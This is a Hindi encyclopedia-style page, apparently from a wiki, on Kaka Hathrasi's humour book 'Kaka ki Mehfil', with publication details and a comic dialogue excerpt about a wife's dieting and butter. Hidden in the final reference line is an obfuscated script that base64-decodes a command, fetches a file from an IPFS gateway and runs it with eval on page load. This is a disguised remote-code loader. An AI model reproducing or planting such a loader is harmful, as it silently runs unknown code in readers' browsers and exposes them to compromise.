काका की महफ़िल -काका हाथरसी

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काका की महफ़िल -काका हाथरसी
'काका की महफ़िल' पुस्तक का आवरण पृष्ठ
कवि काका हाथरसी
मूल शीर्षक 'काका की महफ़िल'
प्रकाशक डायमंड पॉकेट बुक्स
ISBN 81-7182-417-X
देश भारत
भाषा हिन्दी
शैली हास्य
विशेष पुस्तक में काका हाथरसी द्वारा बुलायी गई महफ़िल में श्रोताओं द्वारा पूछे गये प्रश्नों के रोचक उत्तर उन्हीं की लेखनी के माध्यम से दिए गए हैं।

काका की महफ़िल पुस्तक में काका हाथरसी द्वारा बुलायी गई महफ़िल में श्रोताओं द्वारा पूछे गये प्रश्नों के रोचक उत्तर उन्हीं की लेखनी के माध्यम से दिए गए हैं। बीच-बीच में उनकी हास्य-व्यंग्य-कविताओं का मनोरंजन पुट भी है, जो पाठकों का भरपूर मनोरंजन और उन्हें आनंदित करता है।

काका हाथरसी का व्यक्तित्व ही निराला था। उन्होंने अपनी विशेष शैली से हिन्दी प्रेमियों के दिलों पर वर्षों तक राज किया। हास्य-कविताएँ लिखने के साथ-साथ पाठकों द्वारा पूछे गये प्रश्नों के सटीक उत्तर भी उन्होंने कविता के माध्यम से दिए। प्रश्नोत्तरों का यह सिलसिला विभिन्न पत्र-पत्रिकाओं में प्रकाशित होकर देशभर में अत्यधिक लोकप्रिय हुआ। इस पुस्तक में काकाजी ने श्रोताओं द्वारा पूछे गये सवालों के जवाब अपनी हास्य रस में डूबी लेखनी के माध्यम से दिये हैं।[1]

पुस्तक अंश

महफ़िल में इस ख़याल से फिर आ गया हूँ मैं
शायद मुझे निकाल के पछता रहे हों आप'
'अरे वाह बेटा किलोल ! कहाँ से आ रहे हो, और यह क्या उल्टा-सीधा गा रहे हो, हमने तो कभी तुमको महफिल से नहीं निकाला, जब तुम्हारा मन होता है आ जाते हो, जब चाहते हो, यहाँ से फूट जाते हो। यह कौन है तुम्हारे साथ ?'
'काकू यह मेरी वाइफ है, आपको पिछली बार मैंने बताया था कि मैंने एक टुन-टुन टाइप लड़की से शादी कर ली है।'
'लेकिन यह तो मोटी नहीं है।'
'एक महीने तक कराई इसको डाइटिंग तब शेप में आई है। वरना मैं तो अब तक दबकर मर गया होता !
'डाइटिंग में क्या-क्या प्रयोग किए या कराए तुमने।'
'सबसे पहिले मैंने इसके मक्खन-भक्षण पर लगाया ब्रेक। यह 10 टोस्ट पर 100 ग्राम मक्खन डकार जाती थी जबकि मक्खन का 500 ग्राम का पैकेट 60 रुपए में आता है। उसे यह 5 दिन में ही कर देती थी साफ। सोचा, यह तो मेरा दिवाला ही निकाल देगी। मैंने घोषणा कराई, सुबह का नाश्ता बंद। न टोस्ट न मक्खन, लगा दिया मुँह पर डाइटिंग का ढक्कन।
'और क्या किया, आगे बताओ।'

'और खुश्क रोटी सेवन करो, हरी सब्ज़ियाँ चरो। चिकनाई बंद, दूध पर जो मलाई ऊपर आ जाती है, उसका सेवन मैं कर लेता हूँ, क्योंकि डॉक्टर ने मेरे अंदर विटामिन 'ए' की कमी बताई है।'
'ठीक, इसका अर्थ यह है कि इसका मोटापा घटने लगा, तुम्हारी काया पर चढ़ने लगा।'
'मैं मजबूर हूँ काका, बिना मक्खन-मलाई के मैं जीवित रह ही नहीं सकता।'
'मक्खन में मोहन बसे, रबड़ी में श्रीराम, रसगुल्ला में शालिग्राम, जय रघुनंदन, जय सियाराम।'
'अच्छा यह कीर्तन बंद करो और वह डाक का थैला जो रक्खा है, उसे उठाकर प्रश्न पढ़ते चलो। हम उत्तर देते जाएँगे।'
'काकू इसमें तो बहुत टाइम लग जाएगा, पहिले मुझे नाश्ता तो कर लेने दीजिए।'
'जी नहीं, नाश्ता करके फिर आप काम नहीं कर सकेंगे। एक बैठक पूरी कर लें, फिर हम-तुम दोनों रसोई के कमरे में बंद हो जाएँगे और बॉबी वाला वह गीत गुनगुनाएँगे-हम तुम एक कमरे में बंद हों...'


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टीका टिप्पणी और संदर्भ

  1. काका की महफ़िल (हिन्दी)। । अभिगमन तिथि: 13 जून, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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